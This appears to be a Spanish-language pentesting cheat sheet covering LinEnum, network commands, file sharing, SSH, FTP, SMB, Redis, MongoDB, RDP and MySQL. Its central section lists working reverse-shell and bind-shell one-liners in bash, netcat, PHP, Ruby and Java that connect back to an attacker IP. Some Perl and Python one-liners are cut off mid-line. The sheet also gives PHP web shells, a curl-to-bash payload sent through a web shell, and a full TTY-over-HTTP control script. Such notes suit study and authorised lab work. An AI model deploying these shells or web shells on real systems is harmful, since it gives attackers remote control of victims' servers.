-c                                 (Deshabilitar colores)
-C                                (Usar paleta de colores alternativa)
-i                                  (Modo no interactivo)
-s [servicio]                 (Servicio/s a ejecutar. Separados por ",", disponibles: usr sud fst sys sec ret net srv pro sof ctn cve )

 🐧​ LINENUM


LinEnum es un Script en Bash que recopila datos de un sistema Linux comprometido, proporcionando información clave que un atacante o pentester puede utilizar para explotar vulnerabilidades existentes. Realiza verificaciones exhaustivas y detalladas de diferentes aspectos del sistema, desde configuraciones básicas de seguridad hasta posibles vectores de ataque para la escalada de privilegios.

 

Principalmente opera en estas áreas:

- Información básica del sistema (nombre del host, kernel, distribución, etc.).
- Configuración de red y rutas de conexión.
- Configuración de archivos SUID y GUID, permisos y propietarios.
- Usuarios actuales y configuraciones de sudo.
- Servicios en ejecución y puertos abiertos.
- Información de cron jobs y tareas automatizadas.
- Análisis de binarios de escalada de privilegios.


🌐 https://github.com/rebootuser/LinEnum

RAW PARA COPIAR Y CREAR ARCHIVO linenum.sh:
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

OTORGAR PERMISOS DE EJECUCIÓN:
chmod +x linenum.sh

chmod 775 linenum.sh


EJECUTAR BASH SCRIPT:
./linenum.sh

PARÁMETROS:
-l []                           (Ajustar verbosidad del script. (default), 1 o 2 para baja, media o alta)
-c                                 (Deshabilitar colores)
-C                                (Usar paleta de colores alternativa)
-i                                  (Modo no interactivo)
-s [servicio]                 (Servicio/s a ejecutar. Separados por ",", disponibles: usr sud fst sys sec ret net srv pro sof ctn cve )

linEnum
conexiones

🔌 CONEXIONES

Reminder
localhost = 127.0.0.1
lP red local = 192.168.1.1
Puertos de red > 1 a 65.535

Ver IPs:
hostname -I               (ver ip de eth0)
ip address                   (ver ips de interfaces de red. eth0 y localhost)
curl ifconfig.me         (ver ip pública)

Comprobar conectividad básica:
ping [IP_URL]

Interfaces de red:
ifconfig                               (ver interfaces de red en funcionamiento)
ifconfig -a         (ver interfaces de red en funcionamiento e inactivas)
ifconfig eth0                                      (ver la interfaz específica eth0)
ifconfig lo                                     (ver la interfaz específica localhost)
sudo ifup eth0                                     (activar interfaz de red ethe0)
sudo ifdown eth0                           (desactivar interfaz de red eth0)

Ver conexiones activas:
netstat -nat

Escanear todas IPs locales en busca de equipos conectados en la red local con NMAP:
nmap 192.168.1.1-254

Intentar conexión a user@host por puerto 22:
ssh user@host -p 22

Intentar conexión metiendo ya la contraseña:
sshpass -p 'pass' ssh user@host -p 22

Intentar conexión usando clave privada:
ssh -i private.key user7@host -p 22

Intentar conexión encriptada SSL:
ncat --ssl localhost 22
ncat --ssl 127.0.0.1 22

Intentar conexión a máquina local por puerto 22:
telnet localhost 22
nc localhost 22

 🎭​ OVPN

Una vez descargado el archivo .ovpn, si es válido, se podrá ejecutar así:
sudo openvpn /home/usuario/vpn/starting_point_usuario.ovpn

Seguidamente se asignará una nueva IP para el entorno de red tun0, que podemos ver con ifconfig:
ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
            inet
10.10.14.70  netmask 255.255.254.0  destination 10.10.14.70
            inet6 fe80::90ca:6052:4530:c287  prefixlen 64  scopeid 0x20<link>
            inet6 dead:beef:2::1044  prefixlen 64  scopeid 0x0<global>
            unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 500  (UNSPEC)
            RX packets 0  bytes 0 (0.0 B)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 4  bytes 192 (192.0 B)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


🟡 Ver IP OVPN directamente:
ifconfig | grep -A 1 "tun0" | grep inet | awk '{print$2}'
 

ovpn

 🖥️​ MONTAR SERVIDOR HTTP

Montar un servidor HTTP local permite compartir archivos y directorios desde un equipo con otros dispositivos en la misma red local o, con configuraciones adicionales, a través de internet. Python facilita esta tarea con su módulo http.server.

En primer lugar, es conveniente recordar que el servidor se montará desde el directorio en el que se encuentre la terminal.
El servidor quedará montado desde el directorio actual en adelante (sudirectorios) pero nunca hacia atrás. Una vez el servidor quede corriendo, la terminal quedará inutilizada (en modo verbose) y se parará el servicio de servidor en cuanto se cierre la terminal.
 
> SERVIDOR RED LOCAL

Navegar al directorio deseado:
cd /home/usuario/carpeta_compartida

Obtener IP Privada:
hostname -I | awk '{print $1}'

Puerto recomendado:
8000

Montar servidor HTTP con Python3.x:
python -m http.server [puerto]

Montar servidor HTTP con Python2.x:
python -m SimpleHTTPServer [puerto]

Una vez corriendo el servidor, para acceder a éste, introducir en la URL del navegador:
http://[IP_Privada]:[puerto]

> SERVIDOR INTERNET

Navegar al directorio deseado:
cd /home/usuario/carpeta_compartida

Obtener IP Pública:
curl -s ifconfig.me

Puerto recomendado:
4810

CONFIGURACIÓN DEL ROUTER (abrir puerto para permitir conexión externa con el servidor):
1º - Configuración Avanzada
2º - Advanced Setup / NAT / Virtual Servers Setup
3º - Add  (añadir puerto a la lista)

User Interface: 6/ppp0.1
Custom Service: HTTP Server
Server IP Address: [IP_privada]
External Port Start: [puerto]
External Port End: [puerto]
Protocol: TCP
Internal Port Start: [puerto]
Internal Port End: [puerto]

NAT-port.png


Montar servidor HTTP con Python3.x:
python -m http.server [puerto]

Montar servidor HTTP con Python2.x:
python -m SimpleHTTPServer [puerto]

Una vez corriendo el servidor, para acceder a éste, introducir en la URL del navegador:
http://[IP_Pública]:[puerto]

HTTP server

↩️🐚 REVERSE SHELL

 

🌐 Pentes Monkey Reverse Shell Cheat Sheet

Funcionamiento (equipo remoto entabla conexión con el equipo local):
La máquina remota ejecuta un script o comando que establece una conexión de salida a la IP y puerto del atacante. Una vez que la conexión está establecida, el atacante tiene una shell interactiva en la máquina víctima.
Facilita eludir firewalls y NAT, ya que muchas redes permiten conexiones salientes y bloquean las entrantes.
 
Primero poner al equipo local en modo escucha (listener) por un puerto dado:
nc -nlvp [puerto]

ncat -nlvp [puerto]

O con rlwrap para obtener una shell con mayor interactividad:

rlwrap nc -nlvp [puerto]

rlwrap ncat -nlvp [puerto]

Instalar rlwrap:

sudo apt install rlwrap


Líneas para ejecutar en equipo remoto. Entablan conexión con el equipo local y dan acceso a una shell por el puerto dado en la terminal en escucha:

 

* Ncat Bash
nc -e /bin/bash [IP_equipo_local] [puerto]
ncat -e /bin/bash [IP_equipo_local] [puerto]

 

* Ncat Sh

nc -e /bin/sh [IP_equipo_local] [puerto]

ncat -e /bin/sh [IP_equipo_local] [puerto]

 

*si versión errónea de ncat/nc (error con -e)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP_equipo_local] [puerto] >/tmp/f

* Bash

bash -i >& /dev/tcp/[IP_equipo_local]/[puerto] 0>&1

* Perl

perl -e 'use Socket;$i="[IP_equipo_local]";$p=[puerto];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in

* Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP_equipo_local]",[puerto]))

 

* PHP

php -r '$sock=fsockopen("[IP_equipo_local]",[puerto]);exec("/bin/sh -i <&3 >&3 2>&3");'

 

* Ruby

ruby -rsocket -e'f=TCPSocket.open("[IP_equipo_local]",[puerto]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

 

* Java

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[IP_equipo_local]/[puerto];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

 

* Xterm Session

xterm -display [IP_equipo_local]:[puerto]

 

(en máquina local)

Xnest :1

xhost +targetip
 


🔄🐚 BIND SHELL

Funcionamiento (equipo local entabla conexión con el equipo remoto):
La máquina víctima ejecuta un comando que liga (bind) una shell a un puerto específico. El atacante se conecta a ese puerto y obtiene acceso a la shell.
Es útil en situaciones donde las reglas de firewall permiten conexiones entrantes a ciertos puertos.
 
Líneas para ejecutar en equipo local que activan una shell en equipo remoto:
nc -nlvp [puerto] -e /bin/bash
ncat -nlvp [puerto] -e /bin/bash

Equipo local se conecta al equipo remoto por el puerto abierto y obtiene la shell en ejecución:
nc [IP_equipo_remoto] [puerto]
ncat [
IP_equipo_remoto] [puerto]

 

➡️🐚 FORWARD SHELL

Funcionamiento (tunelización para mover tráfico a través de la red):
Una forward shell es esencialmente una técnica de pivoting. Utiliza herramientas como SSH para crear "túneles" que permiten redirigir el tráfico de una máquina a otra, proporcionando acceso a máquinas dentro de la red interna que de otra manera serían inaccesibles.
Es útil para acceder a recursos internos protegidos detrás de firewalls o NATs.

SSH:

ssh -L [puerto_local]:[IP_equipo_remoto]:[puerto_remoto] usuario@jump_host
 
__________________________________________________________________________________________________________

📄 ARCHIVOS PARA FORZAR SHELLS

 


◻️ (BASH) rev.sh
#!/bin/bash
bash -i >& /dev/tcp/[IP_equipo_local]/[puerto] 0>&1

python3 -m
http.server [puerto]

http://web.com/shell.php?cmd=curl20[IP_equipo_local]:[puerto]/shell.sh | bash
 

◻️ (PHP) rev.php
<?php
echo '<?php system($_GET["cmd"]); ?>' > rev.php
?>
 
E introducir comandos en la URL: www.web.com/rev.php?cmd=whoami
www-data

E introducir comandos en la URL: www.web.com/rev.php?cmd=pwd
/var/www/html

E introducir comandos en la URL: www.web.com/rev.php?cmd=cd .. %26%26 pwd
/var/www
 
E introducir comandos en la URL: www.web.com/rev.php?cmd=ncat -e /bin/bash [IP_equipo_local] [puerto]
Y en la termina en escucha se recibe una shell
 

◻️ (PHP) cmd.php
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

E introducir comandos en la URL: www.web.com/cmd.php?cmd=whoami
www-data

E introducir comandos en la URL: www.web.com/cmd.php?cmd=pwd
/var/www/html

E introducir comandos en la URL: www.web.com/cmd.php?cmd=cd .. ; pwd
/var/www

E introducir comandos en la URL: www.web.com/cmd.php?cmd=ncat -e /bin/bash [IP_equipo_local] [puerto]
Y en la termina en escucha se recibe una shell


◻️ (PHP - TTY over HTTP) tty.php

🌐 
https://github.com/s4vitar/ttyoverhttp

En ocasiones cuando comprometemos un servidor web, hay reglas configuradas (Ej: iptables) que nos impiden obtener una Reverse Shell vía Netcat, Python, u otra utilidad.

Con esta herramienta, evitamos tener que hacer uso de una reverse shell para obtener una TTY posteriormente completamente interactiva. A través de archivos 'mkfifo', jugamos para simular una TTY interactiva sobre HTTP, logrando manejarnos sobre el sistema cómodamente sin ningún tipo de problema.

Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:

<?php
echo shell_exec($_REQUEST['cmd']);
?>

Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se sitúa nuestro script PHP alojado en el servidor vulnerado).

◻️ (PYTHON - TTY over HTTP) tty.py

 

🌐 https://github.com/s4vitar/ttyoverhttp

#!/usr/bin/python3

import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange

class AllTheReads(object):
   def __init__(self, interval=1):
       self.interval = interval
       thread = threading.Thread(target=self.run, args=())
       thread.daemon = True
       thread.start()

    def run(self):
       readoutput = """/bin/cat %s""" % (stdout)
       clearoutput = """echo '' > %s""" % (stdout)
       while True:
           output = RunCmd(readoutput)
           if output:
               RunCmd(clearoutput)
               print(output)
           time.sleep(self.interval)

def RunCmd(cmd):
   cmd = cmd.encode('utf-8')
   cmd = b64encode(cmd).decode('utf-8')
   payload = {
            'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
       }
   result = (requests.get('
http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
   return result

def WriteCmd(cmd):
   cmd = cmd.encode('utf-8')
   cmd = b64encode(cmd).decode('utf-8')
   payload = {
       'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
   }
   result = (requests.get('
http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
   return result

def ReadCmd():
        GetOutput = """/bin/cat %s""" % (stdout)
        output = RunCmd(GetOutput)
        return output

def SetupShell():
   NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
   try:
       RunCmd(NamedPipes)
   except:
       None
   return None

global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()

def sig_handler(sig, frame):
   print("\n\n[*] Exiting...\n")
   print("[*] Removing files...\n")
   RunCmd(erasestdin)
   RunCmd(erasestdout)
   print("[*] All files have been deleted\n")
   sys.exit(0)

signal.signal(signal.SIGINT, sig_handler)

while True:
   cmd = input("> ")
   WriteCmd(cmd + "\n")
   time.sleep(1.1)

reverse shells
netcat

​🐱 NETCAT (nc)

Netcat, conocido como "nc", es una herramienta de línea de comandos que se utiliza principalmente para leer y escribir datos en conexiones de red utilizando protocolos TCP o UDP. Es una herramienta multipropósito que se puede utilizar para tareas como escanear puertos, transferir archivos, ejecutar comandos de forma remota y crear una Reverse Shell.
 
Instalación:
sudo apt-get install netcat

Poner el terminal en escucha por un puerto:
nc -lvnp [puerto]
 
Ejecutar bash shell a través de una conexión por una IP y puerto dados:
nc -e /bin/bash [IP_atacante] [puerto]

PARÁMETROS:
-l                         (Modo de escucha para las solicitudes de conexión entrantes)
-p [puerto]          (Especifica el puerto que Netcat debe utilizar para las conexiones)
-v                        (Salida detallada, útil para visualizar y ampliar los mensajes de error)
-e                        (Permite ejecutar un comando específico, como /bin/bash, tras establecer la conexión)
-k                        (Hace que espere nuevas conexiones después de que terminen las anteriores, solo en combinación con "-l")
-r                        (Utiliza valores de puerto aleatorios al escanear)
-n                        (Para evitar las búsquedas de resolución de nombres de dominio DNS lookup)
-z                        (Modo de escáner de puerto. No envía datos)
-w                       (Define los tiempos muertos para establecer y cerrar una conexión)

telnet

​🔌 TELNET

El comando telnet en Linux es una herramienta que permite la comunicación de terminal a terminal con equipos remotos, facilitando la interacción y el envío de comandos a través de un teclado como si estuviéramos sentados delante. Este protocolo, conocido como "Protocolo de red de teletipo" o simplemente "Telnet", es ampliamente utilizado para probar la conectividad con equipos remotos y verificar el estado de los puertos.

NOTA: Es importante mencionar que Telnet no ofrece ninguna seguridad durante la transmisión de datos, lo que lo hace vulnerable a ciberamenazas. Por esta razón, SSH (Secure Shell) es una alternativa más segura que Telnet, ya que proporciona una conexión segura y encriptada para la administración remota de sistemas.

NOTA:
 Telnet corre por defecto por el puerto 23.
 
Instalación:
sudo apt-get update
sudo apt-get install telnet

Utilizar el comando telnet seguido de la dirección IP o el nombre de dominio del servidor remoto y el puerto:
telnet [IP] [puerto]

PARÁMETROS:
-d                          (Activa el modo de depuración, proporcionando información detallada sobre la conexión y las operaciones realizadas)
-a                          (Permite iniciar sesión automáticamente con un nombre de usuario predefinido, para scripts o conexiones automatizadas)
-n [tracefile]         (Abre un archivo de traza para registrar la información de la sesión)
-l [usuario]           (Inicia sesión como el usuario especificado, útil cuando el host es compatible con el inicio de sesión automático)
-e [escape char]  (Establece un carácter de escape personalizado para controlar la interacción con el servidor)
-E                          (Desactiva el reconocimiento de cualquier carácter como carácter de escape)
-x                          (Intenta activar el cifrado para la conexión, aunque Telnet en sí mismo no soporta cifrado, esta opción es más relevante
                                  en contextos donde Telnet se utiliza como parte de una solución más amplia que incluye cifrado)

 

🐚  SSH (SECURE SHELL)

El comando ssh en Linux es una herramienta poderosa y versátil que permite a los usuarios acceder de forma segura a otros sistemas informáticos a través de una red. SSH, que significa Secure Shell, es un protocolo de red que proporciona una forma segura de acceder a un sistema remoto. Utiliza el cifrado para proteger los datos transmitidos entre el cliente y el servidor, lo que lo hace ideal para conexiones a través de redes inseguras.
 
NOTA: ssh corre por defecto por el puerto 22.

Instalación:
sudo apt-get update
sudo apt-get install openssh-client

SINTAXIS:
ssh [parámetros] [usuario]@[ip/url]

Establecer conexión con usuario y host por puerto 22:
ssh usuario@host.com -p 22

Establecer conexión con usuario y host por puerto 22 introduciendo clave privada:
ssh -i /ruta/private.key usuario@host.com -p 22

PARÁMETROS:
-p []                   (Especifica el puerto en el que el servidor SSH está escuchando. Si no se indica, el puerto predeterminado es el 22)
-X                          (Habilita el reenvío de X11. Permite ejecutar aplicaciones gráficas en el servidor remoto y visualizarlas en tu máquina local)
-v                           (Aumenta el nivel de verbosidad)
-i [archivo/ruta]   (Archivo o ruta de clave privada)

Para cancelar conexión establecida:
exit
logout
[ctrl] + [d]
~.

______________________________________________________________________________________________________

🔌 OTRAS UTILIDADES

Generar SSH Key:
ssh-keygen -b 4096

Ejecutar un comando y salir:
ssh usuario@host.com -p 22 [comando]

X11 Session Forwarding:
ssh -X usuario@host.com -p 22

TCP Port Forwarding o Tunneling (usar máquina local como máquina remota):
ssh -L [puerto_local]:localhost:[puerto] [usuario]@[host]

SOCKS5 Proxying:
ssh -D 9999 usuario@host.com -p 22

Subir archivo al host:
scp [archivo_localusuario@host.com:[archivo_remoto]

Descargar archivo del host:
scp [archivo_remotousuario@host.com:.

_______________________________________________________________________________________________________

🔌 SSHPASS

El comando sshpass no viene instalado por defecto en Kali Linux ni en el resto de distribuciones. El comando funciona igual que ssh solo que permite introducir la contraseña del usuario en la línea de comandos.

Instalación:
sudo apt-get update
sudo apt-get install sshpass

Establecer conexión mediante contraseña, con usuario y host por puerto 22:
sshpass -p 'contraseña' ssh usuario@host.com -p 22

Establecer conexión mediante archivo con contraseña, con usuario y host por puerto 22:
sshpass -f /ruta/contraseña.txt ssh usuario@host.com -p 22

Establecer conexión mediante contraseña, con usuario y host por puerto 22 (con variable de entorno):
export SSHPASS=contraseña

sshpass -e ssh usuario@host.com -p 22
 

ssh
ftp

🔌 FTP

El comando ftp en Linux es una herramienta de línea de comandos que permite a los usuarios transferir archivos entre un cliente y un servidor FTP (Protocolo de Transferencia de Archivos). FTP es un protocolo de red que permite la transferencia de archivos entre sistemas conectados a una red TCP/IP. Este protocolo es ampliamente utilizado para la transferencia de archivos entre servidores web y clientes, así como para la transferencia de archivos entre diferentes sistemas en una red.

NOTA:
 ftp corre por defecto por el puerto 21.

NOTA: A menudo, en conexiones ftp puede estar habilitado el usuario por defecto 👤anonymous, el cual tiene contraseña en blanco. Otros nombres de usuario genéricos pueden ser admin, administrator root, probablemente con contraseña convencional.


EJEMPLO con Localhost:
ftp localhost
ftp 127.0.0.1

EJEMPLO con IP:
ftp 192.168.1.1

EJEMPLO con IP y Puerto:
ftp 192.168.1.1 21
 
EJEMPLO con URL:
ftp web.com
 
EJEMPLO con USUARIO e IP:
ftp user@192.168.1.1

EJEMPLO con USUARIO y URL:
ftp user@web.com

COMANDOS que se pueden usar una vez establecida la conexión (se usan en dos tiempos):
pwd                             (Mostrar directorio actual)
lpwd                            (Mostrar directorio actual en tu sistema local)
ls                               (Lista los archivos y directorios en el directorio actual del servidor)
cd [directorio]          (Cambia el directorio actual en el servidor)
get [file]                   (Descarga un archivo del servidor al cliente)
mget [files]              (Descarga múltiples archivos del recurso compartido al sistema local)
put [file]                   (Sube un archivo del cliente al servidor)
mput [files]             (Sube múltiples archivos del sistema local al recurso compartido)
help                             (Muestra una lista de comandos disponibles)
bye o quit               (Cierra la sesión FTP)
 

smb

🔌 SMB

El comando smb en Linux se refiere a Samba, un software que permite compartir archivos y servicios entre sistemas operativos Windows y Linux. Samba implementa el protocolo SMB/CIFS (Server Message Block/Common Internet File System), que es el protocolo estándar para compartir archivos, impresoras, y otros recursos en redes locales (LAN).

SMB (Server Message Block) es un protocolo cliente-servidor que controla el acceso a archivos y directorios enteros, así como a otros recursos de la red, como impresoras, routers o interfaces compartidas con la red. El protocolo SMB también sirve como base para el intercambio de información entre los diferentes procesos de un sistema (intercambio también conocido como comunicación entre procesos).

NOTA: El protocolo TCP/SMB corre por defecto por el puerto 445. Normalmente, en las redes la resolución de direcciones funciona a través del Domain Name System (DNS) o, en redes más pequeñas, a través de Link Local Multicast Name Resolution (LLMNR).

NOTA: Existen varias versiones, CIFS, SMB 1.0, SMB 2.0, SMB 2.1, SMB 3.0, SMB 3.0.2 y SMB 3.1.1.

NOTA: El comando smb no viene instalado por defecto en Kali Linux ni otras distribuciones.

 
Instalación del lado SERVIDOR:
sudo apt-get update
sudo apt-get install samba

Una vez instalado, puedes configurar Samba editando el archivo /etc/samba/smb.conf. Este archivo define las configuraciones de compartición, incluyendo los directorios que se compartirán, los permisos de acceso, y otros parámetros:
mousepad /etc/samba/smb.conf
 
Agrega una sección para tu carpeta compartida al final del archivo:

    [MiCarpetaCompartida]
       path = /ruta/a/tu/carpeta
       read only = no
       browsable = yes
       guest ok = yes
 

Guardar y reinicia el servicio Samba para aplicar los cambios:
sudo systemctl restart smbd

Ahora, tu carpeta compartida debería estar accesible desde otros sistemas en la red. Puedes acceder a ella desde un sistema Windows usando el explorador de red o ingresando en el explorador de archivos:
\\servidor\recurso_compartido

______________________________________________________________________________________________

🔌 SMBCLIENT


El comando smbclient en Linux es una herramienta poderosa para interactuar con recursos compartidos en redes que utilizan el protocolo SMB (Server Message Block). SMB es un protocolo de red que permite a los usuarios compartir archivos, impresoras, y otros recursos entre computadoras en una red. smbclient es parte del paquete Samba, que proporciona implementaciones de los protocolos SMB/CIFS para sistemas Unix y Linux, permitiendo la interoperabilidad con sistemas Windows.

NOTA: El protocolo TCP/SMB corre por defecto por el puerto 445. Normalmente, en las redes la resolución de direcciones funciona a través del Domain Name System (DNS) o, en redes más pequeñas, a través de Link Local Multicast Name Resolution (LLMNR).

NOTA: Existen varias versiones, CIFS, SMB 1.0, SMB 2.0, SMB 2.1, SMB 3.0, SMB 3.0.2 y SMB 3.1.1.

NOTA: El comando smbclient suele venir instalado por defecto en Kali Linux.

SINTAXIS:

smbclient //servidor/recurso_compartido -U usuario
 
EJEMPLO:
smbclient  -L [IP] -U usuario
smbclient  -L [IP] -N

 
PARÁMETROS:
-L                                          (Listar servicios disponibles de un servidor)
-U                                          (Nombre de usuario y opcionalmente, contraseña)
-N                                          (Sesión Nula. cuando no se dispone de credenciales válidas)
-h                                          (Mostrar ayuda)

COMANDOS que se pueden usar una vez establecida la conexión:
pwd                                   (Mostrar directorio actual)
ls                                    (Lista los archivos y directorios en el directorio actual del servidor)
cd [directory]                (Cambia el directorio actual en el servidor)
lcd [route]                      (Cambia el directorio actual en el sistema local. Por ejemplo, /path/to/local/directory)
get [file]                        (Descarga un archivo del servidor al cliente)
mget [files]                  (Descarga múltiples archivos del recurso compartido al sistema local)
put [file]                        (Sube un archivo del cliente al servidor)
mput [files]                   (Sube múltiples archivos del sistema local al recurso compartido)
mkdir [directory]            (Crea un nuevo directorio en el recurso compartido)
rmdir [directory]             (Elimina un directorio en el recurso compartido)
rm [file]                              (Elimina un archivo en el recurso compartido)
rename [file]                   (Renombrar un archivo o directorio en el recurso compartido)
mdelete [files]                (Elimina múltiples archivos en el recurso compartido)
help                                    (Muestra una lista de comandos disponibles)
exit                                 (Cierra la sesión FTP)
 

🗃️ REDIS SERVICE

Redis es una base de datos NoSQL de alto rendimiento que se utiliza típicamente para almacenar datos en caché y escalar sitios web con alto tráfico. Es un componente de software de código abierto licenciado bajo la Licencia BSD de Tres Cláusulas. Redis se utiliza para garantizar un caché compartido consistente entre los diversos servidores y servicios que componen una instalación de, por ejemplo, GE Digital APM.

NOTA: Por defecto corre por el puerto 6379/TCP. En algún caso reportado, también por el puerto 6380/TCP.
 
Instalación del lado SERVIDOR:
sudo apt-get update
sudo apt-get install redis-server

Después de la instalación, es necesarios configurar el archivo redis.conf
mousepad /etc/redis/redis.conf


Algunos parámetros del archivo redis.conf:

notify-keyspace-events  (Especificar eventos de notificación)
bind                                  (Especificar la dirección IP del servidor Redis)
requirepass                    (Establecer una contraseña compleja para las conexiones Redis)
masterauth                    (Especificar la misma contraseña para la autenticación de nodos Redis en una configuración de alta disponibilidad)
slaveof        (Configurar el servidor Redis réplica de otro servidor Redis principal, especificando dirección IP y el puerto del servidor principal)
slave-priority                  (Establecer la prioridad para el servidor réplica en una configuración de alta disponibilidad)

__________________________________________________________________________________________________________


Instalación del lado CLIENTE:
sudo apt-get update
sudo apt-get install redis-tools

NOTA: Por defecto corre por el puerto 6379/TCP. En algún caso reportado, también por el puerto 6380/TCP.

Línea de comandos para establecer conexión con el servidor:
redis-cli -h [IP o URL] -p [puerto] -a [contraseña]

Dentro de un servidor Redis, puedes utilizar una amplia gama de comandos para interactuar con la base de datos. Aquí tienes una lista de algunos de los comandos más comunes y útiles:

info                            (Ver información del servidor)
select                        (Cambia la base de datos seleccionada)
set                             (Similar a echo?)
get [file]                    (Similar a cat)
keys *                         (Listar las claves del servidor)
client getname        (Devuelve el nombre de la conexión)
client reply                (Indica al servidor si debe responder a los comandos)
client setname         (Establece el nombre de la conexión)
hello                           (Protocolos de enlace con el servidor Redis)
ping                            (Devuelve la respuesta de vivacidad del servidor)
copy                            (Copia el valor de una clave en una nueva clave)
del                               (Elimina una o varias claves)
dump                          (Devuelve una representación serializada del valor almacenado en una clave)
exists                          (Determina si hay una o más claves)
randomkey                 (Devuelve un nombre de clave aleatorio de la base de datos)
rename                       (Cambia el nombre de una clave y sobrescribe el destino)
scan                            (Hace una iteración sobre los nombres de claves en la base de datos)
sort                             (Ordena los elementos de una lista, un conjunto o un conjunto ordenado y, opcionalmente, almacena el resultado)
type                            (Determina el tipo de valor almacenado en una clave)
ttl                                (Devuelve el tiempo de caducidad de una clave en segundos)
pttl                              (Devuelve el tiempo de caducidad de una clave en milisegundos)
pexpire                       (Establece el tiempo de caducidad de una clave en segundos)
 

redis

🗃️ MONGO DB (no SQL database)

MongoDB es una base de datos de documentos distribuida que ofrece una gran escalabilidad y flexibilidad, junto con un modelo de consultas e indexación avanzado. Almacena datos en documentos flexibles similares a JSON, lo que permite que los campos varíen entre documentos y que la estructura de datos pueda cambiar con el tiempo. Este modelo de documento se asigna a los objetos en el código de la aplicación, facilitando el trabajo con los datos. Es de uso gratuito, aunque las versiones lanzadas antes del 16 de octubre de 2018 se publican bajo licencia AGPL, mientras que todas las versiones posteriores al 16 de octubre de 2018, incluidos los parches lanzados para versiones anteriores, se publican bajo Licencia pública del lado del servidor (SSPL) v1.

Conexión SIN autenticación:
mongodb://hostname/IP:port

Conexión CON autenticación:
mongodb://username:password@hostname/IP:port

Conexión CON autenticación a través de una Mongo Shell:
mongosh "mongodb://username:password@hostname/IP:port"
____________________________________________________________________________________________

PARÁMETROS DEFAULT de MONGO SHELL:
use [
base de datos]                                    (seleccionar/cambiar base de datos)
db.mycoll.find()                                            (listar objetos de colección "mycoll")
db.mycoll.find( { a : 1 } )                             (listar objetos de colección "mycoll" donde a == 1)
it                                                                       (resultado de la última evaluación)
DBQuery.shellBatchSize = [                (establecer número por defecto de objetos que muestre la shell)
exit                                                                   (salir de Mongo Shell)

PARÁMETROS SHOW de MONGO SHELL:
show dbs                                                     
(mostrar nombres de bases de datos)
show collections                                        (mostrar colecciones de la base de datos actual)
show users                                                   (mostrar usuarios de la base de datos actual)
show profile                                                 (mostrar entradas de perfil de sistema más recientes, con time >= 1ms)
show logs                                                     (mostrar nombres de conexión accesibles)
show log [nombre]                                    (mostrar el último segmento del log en memoria)

PARÁMETROS HELP de MONGO SHELL:
db.help()                                                       
(ayuda para db methods)
db.mycoll.help()                                          (ayuda para collection methods)
sh.help()                                                       (sharding helpers)
rs.help()                                                        (replica set helpers)
help admin                                                  (ayuda administrativa)
help connect                                               (conectar a db help)
help keys                                                      (atajos de teclado)
help misc                                                      (información diversa)
help mr                                                          (mapreduce)
 

mongoDB

🖥️ FREERDP (remote desktop protocol)

FreeRDP es una implementación libre del Protocolo de Escritorio Remoto (Remote Desktop Protocol o RDP). Es compatible con varias versiones de Windows, incluyendo Windows NT Server, Windows 2000 Terminal Server, Windows XP, Windows 2003 Server, Windows Vista, Windows 2008/2008r2/2011SBS Server, Windows 7, Windows 2012/2012r2 Server, Windows 8, y Windows 10. FreeRDP permite a los usuarios acceder a sus sistemas Windows desde otros dispositivos, lo cual es especialmente útil para administradores de sistemas y profesionales de la seguridad informática que necesitan acceder a servidores o estaciones de trabajo remotos. Permite una conexión gráfica de control remoto de escritorio, similar a Team Viewer.

🌐
freerdp.com


Instalar cliente RDP basado en X11:
sudo apt install freerdp2-x11

Instalar funcionalidad como servidor RDP:
sudo apt install libfreerdp-server2-2

Instalar funcionalidad cliente RDP básico:
sudo apt install libfreerdp-client2-2

Instalar para desarrolladores que necesiten las herramientas de desarrollo de FreeRDP:
sudo apt install freerdp2-dev

Conexión a Servidor RDP sin contraseña:
xfreerdp /v:[hostname/IP]

Conexión a Servidor RDP con contraseña:
xfreerdp /v:[hostname/IP] /u:[usuario] /p:[contraseña]

Conexión a Servidor RDP usando archivo de credenciales:
xfreerdp /v:[hostname/IP] /u:[usuario] /a /c:credenciales.txt

Contenido de archivo de credenciales (ejemplo credenciales.txt):
usuario=contraseña

freerdp1689.png
freeRDP

🔌  MYSQL MARIADB DATABASE

Una base de datos MySQL (versión MariaDB) es un sistema de gestión de bases de datos relacionales (RDBMS) que permite almacenar, organizar y recuperar datos de manera estructurada utilizando el lenguaje SQL (Structured Query Language). Son de código abierto y comparten muchas características y funcionalidades, aunque tienen diferencias en su desarrollo y administración.

Instalación:
sudo apt-get install mysql-client

CONEXIÓN A BASE DE DATOS:
mysql -h [IP/host] -P [puerto] -u [usuario] -p [contraseña]

NOTA: Es posible que de error si no se meten -p y la contraseña PEGADOS, es decir: -pcontraseña

COMANDOS DENTRO DE LA BASE DE DATOS:

CREATE DATABASE [nombre_base_datos];                                                            (Crear bases de datos nueva)
